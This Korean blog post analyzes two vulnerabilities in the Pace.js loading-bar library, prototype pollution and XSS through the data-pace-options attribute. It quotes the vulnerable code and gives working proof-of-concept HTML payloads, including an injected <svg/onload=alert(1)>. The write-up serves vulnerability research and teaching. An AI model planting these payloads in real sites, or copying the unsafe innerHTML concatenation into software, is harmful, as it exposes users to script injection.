Page.js

Jun 21, 2025

page-js


Page.js는 웹 페이지 로딩 상태를 시각적으로 보여주는 자동 페이지 로딩(progress) 표시기입니다. 웹 페이지가 로딩되거나 Ajax 요청이 발생할 때 상단에 로딩 바를 자동으로 보여주는 역할을 합니다.

  • Prototype Pollution
getFromDOM = function(key, json) {
  var data, e, el;
  if (key == null) {
    key = 'options';
  }
  if (json == null) {
    json = true;
  }
  el = document.querySelector("[data-pace-" + key + "]");
  if (!el) {
    return;
  }
  data = el.getAttribute("data-pace-" + key);
  if (!json) {
    return data;
  }
  try {
    return JSON.parse(data);
  } catch (_error) {
    e = _error;
    return typeof console !== "undefined" && console !== null ? console.error("Error parsing inline pace options", e) : void 0;
  }
};

page.js 중에 사용자가 DOM에 삽입한 data-pace-options 속성에서 값을 읽어옵니다. json = true 이거나 설정되지 않은 경우에는 JSON.parse()로 문자열을 객체로 파싱합니다.

이후에 getFromDOM 을 호출에 options에 넣게 되는데 { "**proto**": { polluted: true } } 와 같은 json을 getFromDOM 이 반환한다면 proto type pollution이 발생합니다.

options = Pace.options = extend({}, defaultOptions, window.paceOptions, getFromDOM());
<img id="data-pace-options" data-pace-options='{"__proto__": {"polluted": true}}'>

위의 html을 넣으면 ({}).polluted = true

  • XSS
Bar.prototype.getElement = function() {
			var targetElement;
			if (this.el == null) {
				targetElement = document.querySelector(options.target);
				if (!targetElement) {
					throw new NoTargetError;
				}
				this.el = document.createElement('div');
				this.el.className = "pace pace-active";
				document.body.className = document.body.className.replace(/(pace-done )|/, 'pace-running ');
				var _custom_class_name = (options.className !== '') ? ' '+options.className : '';
				this.el.innerHTML = '<div class="pace-progress'+_custom_class_name+'">\n  <div class="pace-progress-inner"></div>\n</div>\n<div class="pace-activity"></div>';
				if (targetElement.firstChild != null) {
					targetElement.insertBefore(this.el, targetElement.firstChild);
				} else {
					targetElement.appendChild(this.el);
				}
			}
			return this.el;
		};

화면에 실제 로딩 바(DOM 요소)를 생성하고 삽입할 때 설정된 options를 사용합니다. 취약한 부분은 this.el.innerHTML 의 값을 설정할 때 _custom_class_name = options.className를 포함한 string을 넣게 되는데 options.className는 getFromDOM 에서 설정 가능한 값입니다.

<img id="data-pace-options" data-pace-options='{"className":"\"><svg/onload=alert(1)><div class=\""}'>

위와 같은 html을 넣게 된다면 <svg/onload=alert(1)> 가 중간에 삽입 되어 XSS가 발생하게 됩니다.

<div class="pace pace-inactive"><div class="pace-progress " data-progress-text="100%" data-progress="99" style="transform: translate3d(100%, 0px, 0px);"><svg onload="alert(1)"></svg><div class="">
  <div class="pace-progress-inner"></div>
</div>
<div class="pace-activity"></div></div></div>